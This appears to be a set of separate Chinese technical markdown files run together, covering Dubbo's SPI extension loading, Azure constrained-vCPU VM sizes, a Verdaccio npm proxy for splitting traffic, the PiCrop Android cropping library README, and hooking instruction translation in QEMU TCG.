if (wrapperClasses != null && !wrapperClasses.isEmpty()) {
for (Class<?> wrapperClass : wrapperClasses) {
// 循环包装类，进行包装
instance = injectExtension((T) wrapperClass.getConstructor(type).newInstance(instance));
}
}
return instance;
} catch (Throwable t) {
throw new IllegalStateException("Extension instance(name: " + name + ", class: " +
type + ") could not be instantiated: " + t.getMessage(), t);
}
}
```
### WrapperClass
`WrapperClass` 是一个典型的设计模式:`装饰器模式`
这里说明下`wrapperClasses`也是从`loadExtensionClasses`方法从`META-INF`读取配置文件而来
可以在 `META-INF/dubbo/internal/org.apache.dubbo.rpc.Protocol` 文件中看到下面的配置：
```properties
filter=org.apache.dubbo.rpc.protocol.ProtocolFilterWrapper
listener=org.apache.dubbo.rpc.protocol.ProtocolListenerWrapper
mock=org.apache.dubbo.rpc.support.MockProtocol
```
看下判断是否是包装类的方法:
```java
private boolean isWrapperClass(Class<?> clazz) {
try {
clazz.getConstructor(type);
return true;
} catch (NoSuchMethodException e) {
return false;
}
}
// 上面代码的含义，只要提供了包含 SPI clazz (如:protocol) 这个参数的构造方法
// dubbo 就认为它是一个包装类(装饰器模式)
// 如 ProtocolFilterWrapper 的构造方法如下
// ProtocolFilterWrapper 就会当做包装类对 DubboProtocol 等进行包装
// 返回 ProtocolFilterWrapper 对象,而ProtocolFilterWrapper 的属性 protocol 是 DubboProtocol
public ProtocolFilterWrapper(Protocol protocol) {
if (protocol == null) {
throw new IllegalArgumentException("protocol == null");
}
this.protocol = protocol;
}
```
### injectExtension
```java
// injectExtension 负责解析当前类的所有set 方法
// 并从 objectFactory 中获取对象，进行属性的注入
private T injectExtension(T instance) {
try {
if (objectFactory != null) {
for (Method method : instance.getClass().getMethods()) {
if (method.getName().startsWith("set")
&& method.getParameterTypes().length == 1
&& Modifier.isPublic(method.getModifiers())) {
/**
* Check {@link DisableInject} to see if we need auto injection for this property
*/
if (method.getAnnotation(DisableInject.class) != null) {
continue;
}
Class<?> pt = method.getParameterTypes()[0];
if (ReflectUtils.isPrimitives(pt)) {
continue;
}
try {
String property = method.getName().length() > 3 ? method.getName().substring(3, 4).toLowerCase() + method.getName().substring(4) : "";
// objectFactory 也是基于 SPI 加载的
Object object = objectFactory.getExtension(pt, property);
if (object != null) {
method.invoke(instance, object);
}
} catch (Exception e) {
logger.error("fail to inject via method " + method.getName()
+ " of interface " + type.getName() + ": " + e.getMessage(), e);
}
}
}
}
} catch (Exception e) {
logger.error(e.getMessage(), e);
}
return instance;
}
```
### loadExtensionClasses
```java
// ExtensionLoader 中的静态变量
private static final String SERVICES_DIRECTORY = "META-INF/services/";
private static final String DUBBO_DIRECTORY = "META-INF/dubbo/";
private static final String DUBBO_INTERNAL_DIRECTORY = DUBBO_DIRECTORY + "internal/";
// synchronized in getExtensionClasses
private Map<String, Class<?>> loadExtensionClasses() {
// 这里对扩展类上面的注解进行解析
// 并赋值到 cachedDefaultName 上
// 如果是 Protocol 那么cachedDefaultName=dubbo
final SPI defaultAnnotation = type.getAnnotation(SPI.class);
if (defaultAnnotation != null) {
String value = defaultAnnotation.value();
if ((value = value.trim()).length() > 0) {
String[] names = NAME_SEPARATOR.split(value);
if (names.length > 1) {
throw new IllegalStateException("more than 1 default extension name on extension " + type.getName()
+ ": " + Arrays.toString(names));
}
if (names.length == 1) {
cachedDefaultName = names[0];
}
}
}
// 下面的几个方法，从 META-INF/services/ META-INF/dubbo/ META-INF/dubbo/internal/
// 这三个目录下面去获取配置文件,进行解析
// 把 org.apache 替换成 com.alibaba 是因为 dubbo 在apache 进行孵化，修改过包名
Map<String, Class<?>> extensionClasses = new HashMap<String, Class<?>>();
loadDirectory(extensionClasses, DUBBO_INTERNAL_DIRECTORY, type.getName());
loadDirectory(extensionClasses, DUBBO_INTERNAL_DIRECTORY, type.getName().replace("org.apache", "com.alibaba"));
loadDirectory(extensionClasses, DUBBO_DIRECTORY, type.getName());
loadDirectory(extensionClasses, DUBBO_DIRECTORY, type.getName().replace("org.apache", "com.alibaba"));
loadDirectory(extensionClasses, SERVICES_DIRECTORY, type.getName());
loadDirectory(extensionClasses, SERVICES_DIRECTORY, type.getName().replace("org.apache", "com.alibaba"));
return extensionClasses;
}
```
### getAdaptiveExtension
`getAdaptiveExtension()` 与 `getExtension(String name)` 执行逻辑类似,
不同的地方是`getAdaptiveExtension`返回的是`***$Adaptive`(如：`Protocol$Adaptive`)
而`Adaptive`负责调用`getExtension`,通过 `name` 获取具体的实现类。
而`getAdaptiveExtension` 中使用 `createAdaptiveExtensionClassCode`,生成一个`Adaptive`类
例子：
```java
private static final Protocol refprotocol = ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension();
```
上面的方法会最终返回下面的这个类`Protocol$Adaptive`,这个类是通过动态拼接而成的 [Protocol\$Adaptive](#protocoladaptive)
而`Protocol$Adaptive` 这个类是由 `createAdaptiveExtensionClassCode` 这个方法动态生成的对象
### createAdaptiveExtensionClassCode
`createAdaptiveExtensionClassCode` 这个方法负责生成具体的 `***$Adaptive` 实例，如: `Protocol$Adaptive`
这里的代码逻辑就是对 `org.apache.dubbo.rpc.Protocol` 接口中所有方法进行解析，生成一个实现类，包含接口中的所有方法
类似的 SPI 类还有（未全部包含）:
- Cluster\$Adaptive
- Dispatcher\$Adaptive
- Protocol\$Adaptive
- ProxyFactory\$Adaptive
- RegistryFactory\$Adaptive
- ThreadPool\$Adaptive
- Transporter\$Adaptive
- Validation\$Adaptive
`createAdaptiveExtensionClassCode` 生成的代码类内容，可以参考这里 [dubbo adaptive class](https://github.com/web1992/dubbos/tree/master/dubbo-source-code/src/main/java/cn/web1992)
## Protocol
- `ServiceConfig`中`protocol.export`这个方法的主要二个作用：
- 启动一个本地的 TCP 服务（如：NettyServer 服务）
- 把本地启动的 TCP 服务通过 Registry 类注册到注册中心 (如:`zookeeper`)
`ServiceConfig` 的初始化过程可以看这篇文章[dubbo provider init](dubbo-init.md#provider-init)
看一段来自 `org.apache.dubbo.config.ServiceConfig` 中的源码注释
```java
/**
* The {@link Protocol} implementation with adaptive functionality,it will be different in different scenarios.
* A particular {@link Protocol} implementation is determined by the protocol attribute in the {@link URL}.
* For example:
*
* <li>when the url is registry://224.5.6.7:1234/org.apache.dubbo.registry.RegistryService?application=dubbo-sample,
* then the protocol is <b>RegistryProtocol</b></li>
*
* <li>when the url is dubbo://224.5.6.7:1234/org.apache.dubbo.config.api.DemoService?application=dubbo-sample, then
* the protocol is <b>DubboProtocol</b></li>
* <p>
* Actually，when the {@link ExtensionLoader} init the {@link Protocol} instants,it will automatically wraps two
* layers, and eventually will get a <b>ProtocolFilterWrapper</b> or <b>ProtocolListenerWrapper</b>
*/
private static final Protocol protocol = ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension();
```
`Protocol` 实现了接口自适应功能（自适应：根据参数的不同来选择不同的实现类进行调用）
如这个方法：
```java
Exporter<?> exporter = protocol.export(wrapperInvoker);
```
`wrapperInvoker`是一个`org.apache.dubbo.rpc.Invoker`对象，Invoker 继承了 `org.apache.dubbo.common.Node`类
Node 类中有`URL getUrl();` 这个方法可以返回 URL 对象.
一个例子：如果 URL 中参数是`registry`的时候，调用的实现就是`RegistryProtocol`的`export`
如果 URL 中参数是`dubbo`的时候，调用的实现就是`DubboProtocol`的`export`
而实现这个功能的类就是`Protocol\$Adaptive`
## Protocol\$Adaptive
`ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension();`这个返回的是包装之后的`Protocol` 类实例
具体的代码实现逻辑如下：
```java
import org.apache.dubbo.common.extension.ExtensionLoader;
// Protocol$Adaptive 是 Protocol 接口实现自适应类的关键
// 当我们执行 protocol.export 方法时，其实调用的是 Protocol$Adaptive 中的 export 方法
// Protocol$Adaptive 会根据 url 中的参数，或者 Invoker 中 url 的参数，通过 SPI 去加载具体的实现类
// 从而实现参数不同，调用不同的实现类，实现 dubbo 的(方法)自适应
public class Protocol$Adaptive implements org.apache.dubbo.rpc.Protocol {
public void destroy() {
throw new UnsupportedOperationException("method public abstract void org.apache.dubbo.rpc.Protocol.destroy() of interface org.apache.dubbo.rpc.Protocol is not adaptive method!");
}
public int getDefaultPort() {
throw new UnsupportedOperationException("method public abstract int org.apache.dubbo.rpc.Protocol.getDefaultPort() of interface org.apache.dubbo.rpc.Protocol is not adaptive method!");
}
public org.apache.dubbo.rpc.Exporter export(org.apache.dubbo.rpc.Invoker arg0) throws org.apache.dubbo.rpc.RpcException {
if (arg0 == null) {
throw new IllegalArgumentException("org.apache.dubbo.rpc.Invoker argument == null");
}
if (arg0.getUrl() == null) {
throw new IllegalArgumentException("org.apache.dubbo.rpc.Invoker argument getUrl() == null");
}
org.apache.dubbo.common.URL url = arg0.getUrl();
String extName = (url.getProtocol() == null ? "dubbo" : url.getProtocol());
if (extName == null) {
throw new IllegalStateException("Fail to get extension(org.apache.dubbo.rpc.Protocol) name from url(" + url.toString() + ") use keys([protocol])");
}
org.apache.dubbo.rpc.Protocol extension = (org.apache.dubbo.rpc.Protocol) ExtensionLoader.getExtensionLoader(org.apache.dubbo.rpc.Protocol.class).getExtension(extName);
return extension.export(arg0);
}
public org.apache.dubbo.rpc.Invoker refer(java.lang.Class arg0, org.apache.dubbo.common.URL arg1) throws org.apache.dubbo.rpc.RpcException {
if (arg1 == null) {
throw new IllegalArgumentException("url == null");
}
org.apache.dubbo.common.URL url = arg1;
String extName = (url.getProtocol() == null ? "dubbo" : url.getProtocol());
if (extName == null) {
throw new IllegalStateException("Fail to get extension(org.apache.dubbo.rpc.Protocol) name from url(" + url.toString() + ") use keys([protocol])");
}
org.apache.dubbo.rpc.Protocol extension = (org.apache.dubbo.rpc.Protocol) ExtensionLoader.getExtensionLoader(org.apache.dubbo.rpc.Protocol.class).getExtension(extName);
return extension.refer(arg0, arg1);
}
}
```
可以看到`export`这个方法有一个参数`org.apache.dubbo.rpc.Invoker`，从`getUrl()`获取一个`org.apache.dubbo.common.URL`对象
然后获取`protocol`，如果为空，默认是`dubbo`，然后通过 `ExtensionLoader.getExtensionLoader.getExtension` 去加载具体的实现类
## Summary
1. dubbo 中通过 SPI 机制可以实现自定义扩展类，方便增加新功能
2. dubbo 中通过 ***$Adaptive 自适应类，通过 `URL` 参数的不同，实现不同的业务,更灵活，缺点难以 debug
3. dubbo 中通过 SPI 机制加载的类，会进行包装，属性注入，增强类的功能，提供 Filter,Moniter 等功能
4. 未完待续... | 15,292 | MIT |
---
title: include 文件
description: include 文件
services: virtual-machines
author: rockboyfor
ms.service: virtual-machines
ms.topic: include
origin.date: 03/09/2018
ms.date: 08/10/2020
ms.testscope: no
ms.testdate: ''
ms.author: v-yeche
ms.custom: include file
ms.openlocfilehash: 6e7481836ce7f815d7c8fa1bc6f8e843f7e58c69
ms.sourcegitcommit: ac70b12de243a9949bf86b81b2576e595e55b2a6
ms.translationtype: HT
ms.contentlocale: zh-CN
ms.lasthandoff: 08/07/2020
ms.locfileid: "87919265"
---
某些数据库工作负荷（如 SQL Server 或 Oracle）需要高内存、存储和 I/O 带宽，但不需要高核心计数。 许多数据库工作负荷不是 CPU 密集型工作负荷。 Azure 提供了某些 VM 大小（其中你可以限制 VM vCPU 计数），以降低软件许可成本，同时保持相同的内存、存储和 I/O 带宽。
可将 vCPU 计数限制为一半或四分之一的原始 VM 大小。 这些新 VM 大小具有可指定活动的 vCPU 数的后缀，以便可以更轻松地识别。
<!-- Not Available on GS series -->
为 SQL Server 或 Oracle 收取的许可费受限于新的 vCPU 计数，对其他产品应基于新的 vCPU 计数收取费用。 这会导致 VM 规格与活动（可计费）vCPU 数的比率增加 50% 到 75%。 这些新的 VM 大小允许客户工作负荷使用相同的内存、存储和 I/O 带宽，同时优化其软件许可成本。 目前，计算成本（包括 OS 许可）与原始大小保持相同成本。 有关详细信息，请参阅 [Azure VM sizes for more cost-effective database workloads](https://azure.microsoft.com/blog/announcing-new-azure-vm-sizes-for-more-cost-effective-database-workloads/)（适用于更经济高效数据库工作负荷的 Azure VM 大小）。
| 名称 | vCPU | 规格 |
|---------------------|------|-----------------|
| Standard_M8-2ms | 2 | 与 M8ms 相同 |
| Standard_M8-4ms | 4 | 与 M8ms 相同 |
| Standard_M16-4ms | 4 | 与 M16ms 相同 |
| Standard_M16-8ms | 8 | 与 M16ms 相同 |
| Standard_M32-8ms | 8 | 与 M32ms 相同 |
| Standard_M32-16ms | 16 | 与 M32ms 相同 |
| Standard_M64-32ms | 32 | 与 M64ms 相同 |
| Standard_M64-16ms | 16 | 与 M64ms 相同 |
| Standard_M128-64ms | 64 | 与 M128ms 相同 |
| Standard_M128-32ms | 32 | 与 M128ms 相同 |
| Standard_E4-2s_v3 | 2 | 与 E4s_v3 相同 |
| Standard_E8-4s_v3 | 4 | 与 E8s_v3 相同 |
| Standard_E8-2s_v3 | 2 | 与 E8s_v3 相同 |
| Standard_E16-8s_v3 | 8 | 与 E16s_v3 相同 |
| Standard_E16-4s_v3 | 4 | 与 E16s_v3 相同 |
| Standard_E32-16s_v3 | 16 | 与 E32s_v3 相同 |
| Standard_E32-8s_v3 | 8 | 与 E32s_v3 相同 |
| Standard_E64-32s_v3 | 32 | 与 E64s_v3 相同 |
| Standard_E64-16s_v3 | 16 | 与 E64s_v3 相同 |
| Standard_DS11-1_v2 | 1 | 与 DS11_v2 相同 |
| Standard_DS12-2_v2 | 2 | 与 DS12_v2 相同 |
| Standard_DS12-1_v2 | 1 | 与 DS12_v2 相同 |
| Standard_DS13-4_v2 | 4 | 与 DS13_v2 相同 |
| Standard_DS13-2_v2 | 2 | 与 DS13_v2 相同 |
| Standard_DS14-8_v2 | 8 | 与 DS14_v2 相同 |
| Standard_DS14-4_v2 | 4 | 与 DS14_v2 相同 |
<!-- Not Available on Standard Easv4 series -->
<!-- Not Available on Standard GS series -->
<!-- Update_Description: wording update--> | 2,574 | CC-BY-4.0 |
---
title: Verdaccio 性能优化：代理分流
date: 2019-11-30 19:08:03
tags: [Node.js,Verdaccio,private npm registry,npm]
categories: Node.js
---
## 前言
这里的 [Verdaccio](https://github.com/verdaccio/verdaccio) 是指用于搭建轻量级 npm 私有仓库的开源解决方案，以下简称 npm 私服。
前段时间写了一点分流相关的[优化思路](http://claude-ray.com/2019/10/22/optimize-verdaccio-package-route/)，但那是以节省资源开销为主、不冲破原有结构的微调，从结果上看，甚至不是合格的优化。
随着用户（请求）数量的上升，服务响应速度和效率其实才是最要紧的问题，节省资源终究不能改善这一点。因此我决定实施上次浮现在脑中的想法，将内外网的 npm 包流量彻底分流。
<!--more-->
### 关于 Cluster 模式的说明
再次解释，Verdaccio 官方文档明确表示不能支持（PM2）Cluster 模式。另外，其云存储方案是可以支持多进程多节点部署的，但只提供了 google cloud、aws s3 storage 的插件。
不过在此基础上，只要拥有自己的云存储服务，就能使用或设计一套新的存储插件，进而支持多进程架构。此方案一定可行，只是相比本篇的做法，需要的成本更高一些。
俗话说得好，没有一个中间层解决不了的问题，而在 Verdaccio 的场景下，这种做法又是相当地迅速和高效。
## 原理
### npm 安装机制
如果不了解 npm 官方客户端的安装机制，稍后可以阅读阮一峰的博客[[http://www.ruanyifeng.com/blog/2016/01/npm-install.html][《npm 模块安装机制简介》]]，少部分知识已经不适用于当前版本了，不过最重要的是能理解 npm 下载流程。
其中我们需要知道，npm 包下载前，客户端会向上游服务器查询包信息，以及获取压缩包的下载地址 url，并将此 url 存放在 package-lock.json 文件中。以后每次执行下载，都会优先使用 package-lock.json 中的地址。
### npm 下载最长请求路径
为了方便理解 Verdaccio 所处的位置，我来绘制一下 npm 包下载时从客户端到 Verdaccio 再到上游的最长请求路径简图，并忽略中间的安全验证环节，如下所示。
### 接口转发
有了代理层，就可以忽略 Verdaccio 内部的各种逻辑，不受技术栈的约束，编写少量的代码，便能完成主要接口的分流。
首要的接口是 `/:package/:version?` ，释放私服最大的查询压力，原因可以看[这里的解释](http://claude-ray.com/2019/10/22/optimize-verdaccio-package-route)。
次要的接口是 `/:package/-/:filename` ，也就是实际的下载接口。并且其中还涉及另一个极为有利的优化。
尽管 Verdaccio 是转发上游的资源，它也会将下载 url 变更为自己的服务域名。因此不论依赖是否私有，记录到 package-lock.json 中的地址都是 Verdaccio 的地址。
但经过代理层的分流，此后经过更新的 package-lock.json 将保留原汁原味的下载地址，此后下载压缩包的请求再也不会发到私服。
综上所述，我们可以将私服超过 99.99% 的流量转移到代理或上游服务。
## 条件
接下来，我们来确定分流口径，自然是判断一个 package 是否是私服私有，因此需要 Verdaccio 提供接口，获取私有包的列表。
Verdaccio 有一个 `/-/verdaccio/packages` 接口用来获取所有私有包的信息，但这个包主要用于 Web 页面，包含大量我们不需要的信息，甚至简单一点，只要提供私有 npm 包的包名就能满足筛选条件。
因此，可以改良 `/-/verdaccio/packages`，例如新增一个专门获取包名列表的接口，并增加内存缓存。
Verdaccio 版本不同时，做法也有很大差异，相信这里的处理不是问题，只要认真阅读上述接口就能获取思路了。
PS：还是补充一点代码吧，早期版本 Verdaccio 只需要这样改：
```js
/**
* Get name list of all visible package
* @route /-/verdaccio/names
*/
route.get('/names', async function(req, res, next) {
// 此处 cache 作为缓存，在有新的私有 npm 包发布时刷新即可
let names = cache.get('packageNames');
if (!names) {
try {
names = await storage.localStorage.localList.get();
} catch(err) {
return next(err);
}
cache.set('packageNames', names);
}
next(names);
})
```
最新的 names 要使用回调的方式取值，伪代码：
```ts
const names = await new Promise((resolve, reject) =>
storage.localStorage.storagePlugin.get((err, list) =>
err ? reject(err): resolve(list)))
```
## 实现方式
### 客户端
客户端也能承担分流的任务，即像 cnpm 一样包装一层自己的 npm cli 工具，但分流的逻辑要简单许多，只需检查要安装的包是否属于私有，然后分为两批安装。
缺陷是推行难度和速度都不理想，于是这里只是顺便提一下。
### 服务端
到这一步，技术选型已经无所谓了，自然可以 nginx + lua，简单一点就继续使用 Node.js 实现。
由于其他原因，我用 express 做了实现，贴一点转发逻辑，大家就自由发挥吧。
```js
const request = require('request');
const rp = require('request-promise-native');
const publicRegistry = 'http://registry.npm.taobao.org';
const privateRegistry = 'http://npm.private.com';
const sec = 1000;
const min = 60 * sec;
const privateListCache = [];
/**
* 检查并更新私服包名列表的缓存
* 缓存可以基于 redis 或内存，注意控制好更新节奏
*/
async function checkPrivateCache() {}
/**
* npm package 请求分流
* @route /:packages/:version? 版本检查
* @route /:packages/-/:filename 下载
*/
async function packages(req, res, next) {
console.log(req.url)
await checkPrivateCache();
// 请求默认转发至 taobao
let baseUrl = publicRegistry;
if (privateListCache.length && privateListCache.includes(req.params.package)) {
// 转发私服的请求
baseUrl = privateRegistry;
}
const options = {
uri: baseUrl + req.url,
timeout: 2 * min
};
try {
request(options).on('error', next).pipe(res)
} catch(err) {
next(err);
}
}
/**
* 其他请求原样转发私服
* @route /*
*/
function all(req, res, next) {
// 清除 headers 的 host
const headers = Object.assign({}, req.headers, { host: undefined })
const options = {
uri: privateRegistry + req.url,
method: req.method,
timeout: 2 * min,
headers
}
try {
req.pipe(request(options).on('error', next)).pipe(res);
} catch (err) {
next(err)
}
}
```
## 结果
在同样的测试条件下，私服的 /:package/:version? 接口平均响应耗时从 4s 降至 400 ms，可以明显感觉到速度的提升，并且可以通过不断扩展代理层优化处理效率。作为轻量级的私服解决方案，已经可以续命很久了。
## 后续
这个系列就此结束了吗？~~当然没有，cluster 的坑还没填呢！~~也确实可能会鸽掉…
因为支持 cluster 需要较深入的二次开发，也有新的中间件引入，相比目前的成本要高出不少。并且 Verdaccio 新旧版本的逻辑存在一定差异，我在老版本中已经解决了此问题，但新版可能又要另一套实现。
所以，等我读完 Verdaccio 最新的代码再说吧~ | 4,451 | MIT |
# PiCrop
#### 图片剪裁库，暂且使用了Android原生的剪裁
PS. 写这个库其实只是为了测试一下jCenter罢了
## Version
`0.2.1`
## Download
首先把远程库加入你的项目里呀 (Gradle 或 Maven 选择一个就好了).
1. Gradle:
```groovy
compile 'com.moinut:picrop:0.2.1'
```
2. Maven:
```xml
<dependency>
<groupId>com.moinut</groupId>
<artifactId>picrop</artifactId>
<version>0.2.1</version>
<type>pom</type>
</dependency>
```
## Usage
*实在看不懂我说的啥，就直接看例子里地代码吧！ - [例子](https://github.com/moiling/PiCrop/tree/master/sample).*
#### 步骤
1. 在 `Activity` 或 `Fragment` 或 `Fragment-v4` 里实例化我们的PiCrop以便我们使用它
```java
PiCrop piCrop = new PiCrop(this);
```
2. 使用`get`方法，通过`type`选择得到图片的途径，通过回调做你想做的事情
`FROM_ALBUM` : 从相册中选择图片剪切<br>
`FROM_CAMERA` : 照一张照片来剪切
```java
piCrop.get(PiCrop.FROM_ALBUM /*或者: PiCrop.FROM_CAMERA*/, new OnCropListener() {
@Override
public void onStart() {
// 当它开始工作的时候，你可以在这里显示个进度条什么的，让它慢慢转
}
@Override
public void onSuccess(Uri picUri) {
// 剪裁完了，这里的 picUri 存的就是剪裁过后的图片了，你可以用它干所有你想干的事
}
@Override
public void onError(String errorMsg) {
// 哦豁，出错了
}
});
```
3. 复写`onActivityResult`方法，并实现PiCrop的`onActivityResult`，一定要写！否则结果得不到，那就是功亏一篑
```java
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
piCrop.onActivityResult(requestCode, resultCode, data);
}
```
## License
```
Copyright (c) 2016 MOILING
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
``` | 2,052 | Apache-2.0 |
---
title: 在qemu tcg里改指令
published: true
---
在tcg里对一些指令做hook，unicorn就是搞这个，比如两年前的代码里，主要就是hook了syscall指令。现在好像在搞啥trace。
简单的说，要hook一条指令，有几个地方要改。以x86为例，qemu tcg解析指令的函数是：
**qemu/target/i386/tcg/translate.c** (unicorn代码比较老，是**qemu/target/i386/translate.c**)
`````c
static target_ulong disas_insn (DisasContext *s, CPUState *cpu);
`````
这里面是个非常大的switch case。
比如要解析
`````c
0: 67 f3 a7 repz cmps DWORD PTR ds:[esi],DWORD PTR es:[edi]
`````
67是prefix，表明是在64位系统下用32位寄存器esi edi。f3也是prefix，表示指令前面的repz。
找解析这条语句的地方就在switch case里找a7。
`````c
case 0xa6: /* cmpsS */
case 0xa7:
ot = mo_b_d(b, dflag);
if (prefixes & PREFIX_REPNZ) {
gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 1);
} else if (prefixes & PREFIX_REPZ) {
gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 0);
} else {
gen_cmps(s, ot);
}
break;
`````
因为是repz，所以处理这条指令的函数就是**gen_repz_cmps**
这个函数名前面的gen意思是这个函数是会被编译成目标代码的，运行在虚拟机里面，所以函数里用指针和内存的时候都不能直接用。这个一会再说。
和gen_cmps不一样，gen_repz_cmps这个函数名本身还是生成出来的。
`````c
/* same method as Valgrind : we generate jumps to current or next
instruction */
#define GEN_REPZ(op) \
static inline void gen_repz_ ## op(DisasContext *s, MemOp ot, \
target_ulong cur_eip, target_ulong next_eip) \
{ \
TCGLabel *l2; \
gen_update_cc_op(s); \
l2 = gen_jz_ecx_string(s, next_eip); \
gen_ ## op(s, ot); \
gen_op_add_reg_im(s, s->aflag, R_ECX, -1); \
/* a loop would cause two single step exceptions if ECX = 1 \
before rep string_insn */ \
if (s->repz_opt) \
gen_op_jz_ecx(s, s->aflag, l2); \
gen_jmp(s, cur_eip); \
}
#define GEN_REPZ2(op) \
static inline void gen_repz_ ## op(DisasContext *s, MemOp ot, \
target_ulong cur_eip, \
target_ulong next_eip, \
int nz) \
{ \
TCGLabel *l2; \
gen_update_cc_op(s); \
l2 = gen_jz_ecx_string(s, next_eip); \
gen_ ## op(s, ot); \
gen_op_add_reg_im(s, s->aflag, R_ECX, -1); \
gen_update_cc_op(s); \
gen_jcc1(s, (JCC_Z << 1) | (nz ^ 1), l2); \
if (s->repz_opt) \
gen_op_jz_ecx(s, s->aflag, l2); \
gen_jmp(s, cur_eip); \
}
GEN_REPZ(movs)
GEN_REPZ(stos)
GEN_REPZ(lods)
GEN_REPZ(ins)
GEN_REPZ(outs)
GEN_REPZ2(scas)
GEN_REPZ2(cmps)
`````
所以要hook repz cmps这条指令，还要自己新建个函数，名字就是gen_repz_cmps，并且把
GEN_REPZ2(cmps) 这句注释掉。
`````c
static inline void gen_repz_cmps (DisasContext *s, MemOp ot,
target_ulong cur_eip,
target_ulong next_eip,
int nz)
{
TCGLabel *l2;
gen_update_cc_op(s);
l2 = gen_jz_ecx_string(s, next_eip);
gen_ ## op(s, ot);
gen_op_add_reg_im(s, s->aflag, R_ECX, -1);
gen_update_cc_op(s);
gen_jcc1(s, (JCC_Z << 1) | (nz ^ 1), l2);
if (s->repz_opt)
gen_op_jz_ecx(s, s->aflag, l2);
gen_jmp(s, cur_eip);
}
`````
等等，刚看到，这个函数里面还是要调用
`````c
gen_ ## op(s, ot); \
`````
所以最终还是在gen_cmps()里处理每一次的cmps就行了。其它部分是rcx减1，判断比较结果和跳转的。
`````c
static inline void gen_cmps(DisasContext *s, MemOp ot)
{
gen_string_movl_A0_EDI(s);
gen_op_ld_v(s, ot, s->T1, s->A0);
gen_string_movl_A0_ESI(s);
gen_op(s, OP_CMPL, ot, OR_TMP0);
gen_op_movl_T0_Dshift(s, ot);
gen_op_add_reg_T0(s, s->aflag, R_ESI);
gen_op_add_reg_T0(s, s->aflag, R_EDI);
}
`````
第一句, EDI里的地址取值从到A0里，A0应该是个tcg语言的中间寄存器。
`````c
static inline void gen_string_movl_A0_EDI(DisasContext *s)
{
TCGContext *tcg_ctx = s->uc->tcg_ctx;
gen_lea_v_seg(s, s->aflag, tcg_ctx->cpu_regs[R_EDI], R_ES, -1);
}
/* Compute SEG:REG into A0. SEG is selected from the override segment
(OVR_SEG) and the default segment (DEF_SEG). OVR_SEG may be -1 to
indicate no override. */
static void gen_lea_v_seg(DisasContext *s, MemOp aflag, TCGv a0,
int def_seg, int ovr_seg)
{
TCGContext *tcg_ctx = s->uc->tcg_ctx;
switch (aflag) {
#ifdef TARGET_X86_64
case MO_64:
if (ovr_seg < 0) {
tcg_gen_mov_tl(tcg_ctx, s->A0, a0);
return;
}
break;
#endif
case MO_32:
/* 32 bit address */
if (ovr_seg < 0 && s->addseg) {
ovr_seg = def_seg;
}
if (ovr_seg < 0) {
tcg_gen_ext32u_tl(tcg_ctx, s->A0, a0);
return;
}
break;
case MO_16:
/* 16 bit address */
tcg_gen_ext16u_tl(tcg_ctx, s->A0, a0);
a0 = s->A0;
if (ovr_seg < 0) {
if (s->addseg) {
ovr_seg = def_seg;
} else {
return;
}
}
break;
default:
tcg_abort();
}
if (ovr_seg >= 0) {
TCGv seg = tcg_ctx->cpu_seg_base[ovr_seg];
if (aflag == MO_64) {
tcg_gen_add_tl(tcg_ctx, s->A0, a0, seg);
} else if (CODE64(s)) {
tcg_gen_ext32u_tl(tcg_ctx, s->A0, a0);
tcg_gen_add_tl(tcg_ctx, s->A0, s->A0, seg);
} else {
tcg_gen_add_tl(tcg_ctx, s->A0, a0, seg);
tcg_gen_ext32u_tl(tcg_ctx, s->A0, s->A0);
}
}
}
`````
第二句
`````c
static inline void gen_op_ld_v(DisasContext *s, int idx, TCGv t0, TCGv a0)
{
tcg_gen_qemu_ld_tl(t0, a0, s->mem_index, idx | MO_LE);
}
`````
可以看到unicorn的代码里这里加了读内存的hook。
`````c
static inline void gen_op_ld_v(DisasContext *s, int idx, TCGv t0, TCGv a0)
{
TCGContext *tcg_ctx = s->uc->tcg_ctx;
if (HOOK_EXISTS(s->uc, UC_HOOK_MEM_READ))
gen_jmp_im(s, s->prev_pc); // Unicorn: sync EIP
tcg_gen_qemu_ld_tl(tcg_ctx, t0, a0, s->mem_index, idx | MO_LE);
}
`````
**qemu/include/tcg/tcg-op.h**
`````c
#define tcg_gen_qemu_ld_tl tcg_gen_qemu_ld_i32
`````
**qemu/tcg/tcg-op.c**
`````c
void tcg_gen_qemu_ld_i32(TCGv_i32 val, TCGv addr, TCGArg idx, MemOp memop)
{
MemOp orig_memop;
MemOpIdx oi;
tcg_gen_req_mo(TCG_MO_LD_LD | TCG_MO_ST_LD);
memop = tcg_canonicalize_memop(memop, 0, 0);
oi = make_memop_idx(memop, idx);
trace_guest_ld_before_tcg(tcg_ctx->cpu, cpu_env, addr, oi);
orig_memop = memop;
if (!TCG_TARGET_HAS_MEMORY_BSWAP && (memop & MO_BSWAP)) {
memop &= ~MO_BSWAP;
/* The bswap primitive benefits from zero-extended input. */
if ((memop & MO_SSIZE) == MO_SW) {
memop &= ~MO_SIGN;
}
}
addr = plugin_prep_mem_callbacks(addr);
gen_ldst_i32(INDEX_op_qemu_ld_i32, val, addr, memop, idx);
plugin_gen_mem_callbacks(addr, oi, QEMU_PLUGIN_MEM_R);
if ((orig_memop ^ memop) & MO_BSWAP) {
switch (orig_memop & MO_SIZE) {
case MO_16:
tcg_gen_bswap16_i32(val, val, (orig_memop & MO_SIGN
? TCG_BSWAP_IZ | TCG_BSWAP_OS
: TCG_BSWAP_IZ | TCG_BSWAP_OZ));
break;
case MO_32:
tcg_gen_bswap32_i32(val, val);
break;
default:
g_assert_not_reached();
}
}
}
`````
看样qemu也开始加plugin了，这些不用管。看函数的参数，地址A0里的值读到t0。
也就是
`````c
gen_op_ld_v(s, ot, s->T1, s->A0);
`````
里的s->T1。
顺便看下DisasContext结构，里面A0 T0 T1都是TCG local temps，应该就是tcg虚拟机内部寄存器。
**target/i386/tcg/translate.c**
`````c
typedef struct DisasContext {
